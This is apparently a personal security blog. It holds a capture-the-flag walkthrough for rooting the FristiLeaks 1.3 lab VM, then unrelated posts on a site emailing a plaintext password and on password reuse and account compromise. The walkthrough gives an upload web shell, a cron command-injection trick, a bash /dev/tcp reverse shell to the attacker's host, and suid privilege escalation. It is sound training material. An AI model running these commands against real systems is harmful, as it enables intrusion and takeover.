FristiLeaks 1.3

Following on from my previous post about Kioptrix 2014, this post will be about how I got root on the next VM in the list, which is FristiLeaks 1.3

So the first thing I did after turning the VM on was notice in the console that it displays it’s IP address so there is no need to run netdiscover. So lets start with nmap:

root@kali:~# nmap -A [IP-REDACTED]

Starting Nmap 7.40 ( ) at 2017-10-21 14:02 EDT
Nmap scan report for [IP-REDACTED]
Host is up (0.00035s latency).
Not shown: 999 filtered ports
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: 
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

1 0.35 ms [IP-REDACTED]

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds

Interesting results; port 80 is the only open port, and unsurprisingly it’s running a web server on that port. nmap has handily checked for a robots.txt on that system and found 3 directories listed (cola, sis, beer). Time to fire up a web browser and take a look.

The index page is not that interesting, but in the source, it does suggest that I should be able to get root within four hours. It took me at least twice that! The three directories mentioned earlier all appear to server the same page with a single meme on suggesting I’m in the wrong place. Interestingly, the image is served from an “images” directory and when I go there, I am given a listing of the directory which appears to contain only this meme and the image used in the index page.

At this point, I didn’t really know what I was supposed to do, but I tried going to the “fristi” directory and got lucky, because I was presented with an admin login page. If I hadn’t been so lucky, I would have used dirb, so I did this later with standard wordlists and it didn’t find anything. I then created a text file with all the words from both pages and both images and it then found the page.

This admin page requires a username and password, and I don’t have either, though I could guess at passwords, and I did try things like “Nelson” (the Simpsons character in the image), but didn’t get anywhere. The source of the page has a comment from someone who calls themselves “eezeepz”. There is also a comment in the meta description that says that images are base64 encoded, and they’re right. The image of Nelson is base64 encoded, and there is also a comment below it that is base64 encoded data. That comment happens to be a base64 encoded png, the content of which is the letters “keKkeKKeKKeKkEkkEk” in comic-sans font. That looks like a password, and combined with the username “eezeepz”, I am able to log in.

The page I am taken to after I log in is one where I can apparently upload a file. We know this web server runs php, so it makes sense to try to upload a php script, but when we try that it tells us that we can only upload png, jpg and gif files. I assume this is enforced by file extension rather than validating the content of the file. Most web servers will only execute files ending in .php, but a common misconfiguration is to make them execute files with .php anywhere in the name, so I called my file backdoor.php.png so I tried uploading my one line php shell with a png extension, which it appeared to accept and told me it had been placed in /uploads. Sure enough directing my web browser to http://[IP-REDACTED]/fristi/uploads/backdoor.php.png?e=whoami told me that I was able to execute commands as the user called apache.

Viewing the /etc/passwd file showed me that there were some other users that look interesting (root, ezeepz, admin, fristi & fristigod). and looking in the /var/www directory showed a notes.txt file that has a message from “jerry” to eezeepz telling them to clean their home directory, but not to “delete the important stuff”. I also noticed that I can list the contents of /home/eezeepz. In /home/eezeepz there is another notes.txt, this one is another message from “jerry” basically telling me how to run a select few commands under his account (admin). The message says to put commands in a file called /tmp/runthis and those commands will be run every minute with the results written to /tmp/cronresult.

This command in my backdoor should tell me what is in the admin account

echo "ls ~" >/tmp/runthis;sleep 60;cat /tmp/cronresult

but unfortunately it only tells me that my command has to start with /home/admin or usr/bin. neither of these contain ls, but /home/admin contains grep, so I can try this:

echo "/home/admin/grep -c . ~/*" >/tmp/runthis;sleep 60;cat /tmp/cronresult

which should tell me which files are in admin’s home folder, and it does. Files of interest are, cryptedpass.txt whoisyourgodnow.txt. I should be able to get the contents of by doing:

echo "/home/admin/grep . *.py *.txt" >/tmp/runthis;sleep 60;cat /tmp/cronresult

The output from this shows me how the cronjob works. It looks like (due to a bug) it checks for ‘|&;’ instead of ‘|’ or ‘&’ or ‘;’ (they should probably have used the “any()” builtin) so I can get away with running any command as admin, as long as I prefix it with /home/admin/, (e.g. “/home/admin/echo a; ls ~” to list the content of /home/admin) and it also shows me two poorly “encrypted” passwords and a python script that was used to “encrypt” them.

I can decrypt these passwords by creating a simple python script to reverse the steps done by the script:
import base64, codecs, sys
def decodeString(str):
    base64string= codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64string)
print cryptoresult

When I run this with the encrypted password, I get “thisisalsopw123” from cryptedpass.txt, and “LetThereBeFristi!” from whoisyourgodnow.txt.

Running these commands as admin one at a time through web server then waiting for the cron job to run is a bit slow. It’s time to figure out how to get a reverse shell, then we should be able to switch users using the su command. I know that there is no nc or ncat or netcat on this system because I ran “which nc nectar cat” as apache and was told it doesn’t exist. Bash does though, and using redirection to and from bash’s builtin /dev/tcp, I can get similar results to using nc and bash

I started a netcat listener enemy attacking machine using “nc -vnlp 4444” then using my backdoor.php.png, I ran “bash -i >/dev/tcp/[IP-REDACTED]/4444 0>&1 2>&1”. I had to made sure to url encode this one before I requested it with my web browser for some reason because it wouldn’t work otherwise.

So now I have a shell as apache, but when I try to “su admin” it tells me that “standard in must be a tty”, and I am still the apache user. Luckily, I found a one line command that works around this and gives me a tty that I can run su in:

python -c 'import pty; pyt.spawn("/bin/bash")'

and I can use the passwords I decrypted earlier for the admin and the fristigod accounts.

There isn’t much of interest in /home/frisitigod, but that’s not frisitigod’s home directory. The home dir is /var/fristigod and inside there is a hidden folder called .secret_admin_stuffand it contains one executable file called doCom, owned by root and with the suid bit set. Unfortunately running it tells me that I’m the wrong user.

I got stuck at this point and tried various things like running the program as apache and as  admin and running as root using sudo using all the accounts I have access to. I tried running strings against the file to figure out if I could see a username or id, but I wasn’t able to. Running strings did tell me that the usage is “./program_name terminal_command” though, so it looks like it’s a way of running any command as root (obviously terribly insecure).

Eventually I noticed in fristigod’s .bash_history file there was evidence that this program had been run by fristigod as the first user (using sudo -u, which I had to read up on because I didn’t know that was a thing!). So the following command confirmed that I was able to run commands as root:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

running bash as root gives me a root shell. There is a txt file in /home/root that I can now read, which congratulates me and suggests that it should have taken me 4 hours (it took me much longer) and lastly has the flag.

I really enjoyed this machine, especially as it didn’t have any known exploits to compile and or run. It was all just configuration mistakes and silly security mistakes. I also really enjoyed having to work around not being able to use nc on this system since it wasn’t present. just sent me an email containing my password in plain text!

A few weeks ago, when I was going through all my online accounts and making the passwords more secure and unique I logged in to and deactivated my account. I didn’t delete it, just made it dormant. I did this because I found my Fiancée over 3 years ago (via so there was no reason to still have an active account. I didn’t want to delete the account because it had some of our earliest messages to each other saved.

Anyway, I checked my emails today and noticed that I had one from them encouraging me to re-activate my account. What was more concerning was that the email contained my password in plain text! Here is a screenshot of the email:

Screen Shot 2012-12-31 at 10.13.27

I was about to submit them to but I did a search before and found that they were already added to the list 15 months ago, so I left a comment on the plaintextoffenders listing and decided to send a message to The message was:

On the 20th of December 2012 I received an email encouraging me to reactivate my account. What concerns me is that in the body of the email was my password, in plain text! Firstly you should not be storing my password in plain text, and secondly (if you insist on storing passwords as plain text) you should not be sending it to me over something as insecure as email, especially if I didn’t request it!

I was about to submit to, but when I searched, I saw that it was already submitted some 15 months ago. See

For a brief overview of why storing passwords in plain text is bad, you can start reading here:

Please bear in mind that while you are now being shamed by, if you decide to fix the security flaw, your site would be moved to a different section of the site where you would be praised for admitting the fault and fixing it. See

I am in no way affiliated with, but I do support what they are trying to do and I would like to know if you are in the process of fixing, or plan to fix this security flaw in the near future?

Please reply to <email address removed>

I will update this post if/when I get a reply, but in the meantime I would recommend against joining and deleting any accounts you might have with them until they act a bit more responsibly.

Update: I got this email back from

Thank you for contacting us at

We understand that you received an email from us on the 20th December 2012 with your password in plain text which you feel is a serious compromise of security.

We are really sorry about this error and I have forwarded your issue to our site developers to look into.

We hope you have found this information useful and please feel free to get in touch if there is anything further we can help you with. For answers to the most common questions click ‘Help’, available from the foot of any page.

At least they are not dismissing it. I wonder if anything will actually change?

How (I think) my windows live account got compromised

This message kind of follows on from the post about my Fiancée’s hotmail account being compromised, and her subsequent use of much better passwords.

About a week ago I got a message from my brother telling me that my windows live messenger account was spamming him. This was confirmed a little later by another friend but as I was travelling in Germany at the time for work, I was not able to log on and try to change my password immediately. When I was able to sit down with my laptop and internet access, I was pleased to find that I could still log in to windows live and I promptly changed my password.

This compromise was a bit of a surprise and lead me to think about how my account could get compromised, and what I lessons I could learn from the compromise. This post is about how I think my account was compromised, and how I have further strengthened my security since.

While my windows live password was fairly secure (it didn’t conform to any of the common patterns used for passwords) and it wasn’t overly short. Because of this, I’m pretty confident that a brute force attack over the internet against the windows live authentication services would take too much time to make it a reasonable attack vector; it would be prohibitively slow. I would also expect the windows live authentication services to have some kind of security measure to counter brute force attacks, though I’m not sure about that.

When I set up my windows live account many years ago, I wasn’t really bothered about security and I used the same password for many of my online accounts. There is another great xkcd comic about this:xkcd: Password Reuse

When I realised that this was insecure I started to change some of my accounts to use a slightly different password where a small number of characters were different. The changed characters were chose depending on which site or service I was logging in to, but I had never updated the password on my windows live account because I never logged in manually; I had windows live messenger set to save my password and log in automatically. This meant that I was still probably reusing a password with another account somewhere else that I had forgotten about.

My theory of how they got my password is that a website or service that I had forgotten about (because I haven’t used it for years) has been compromised and had revealed my email address and password. The password was probably stored (and therefore revealed) as plain text. I think this because even if my password was hashed but not unsalted, the attacker would have had to use a very large rainbow table for it to cover my password, and this would have also taken so much time that it would not have been worth it for the attacker. The attacker would surely just go for the low hanging fruit, rather than spend ages on a single account. I think that once the attackers got the email/password combination, they probably just tried it on a bunch of common services that they could use to send spam messages (hotmail, facebook, twitter, skype, WLM, iCloud, etc), and found that one of my accounts had the same password.

I use lastpass these days, with two factor authentication using google authenticator app on my phone, and have been going through my various accounts, making sure they are using unique and secure passwords (the lastpass security challenge is great for this – I am now up to 92.6% secure) but as I mentioned before, I hadn’t logged in to windows live manually for years, so my vault didn’t contain that password, and so couldn’t warn me that I was still reusing a password. So I have racked by brain to try to remember anywhere else that I may have an account and made sure that I checked those passwords too. I’m sure I will have missed some, but hopefully they are ones that I don’t really care about or use these days.

My Fiancée is Using Better Passwords Than Me!

I upgraded my Mac laptop to OS X 10.8 Mountain Lion a few weeks ago, and at the same time I decided to turn on FileVault for (almost) full disk encryption. I’m not paranoid, but If I want to get into infosec, I should at least try to be secure myself.

Around the same time my fiancée had said that her Windows laptop was running slow, and then her hotmail account got compromised. I checked her laptop for anything malicious (all seemed ok) but I didn’t have time to try and find out why it was running slow right then, so I set her up with an account on my Mac laptop. I had not enforced any password policy on my Mac laptop (I’m not even sure how to do that – I’ll have to find out soon), so I asked her if she would mind telling me what password she had used because her password would be able to unlock the FileVault (almost) full disk encryption and her password could be the weak link.

She obviously trusts me because she told me, and I knew from experience with John The Ripper/Hascat/etc that it would easily be cracked using brute force by the proper tools in a matter of seconds because it followed a very common pattern. It turned out that her hotmail account was using a similarly simple password, so it was no great surprise that it had been compromised.

I explained with the help of this great XKCD comic that a password can be hard to crack, but easy to remember:

She is now using a passwords around 30 characters long! This means some of her passwords are probably stronger than some of mine… I have some catching up to do!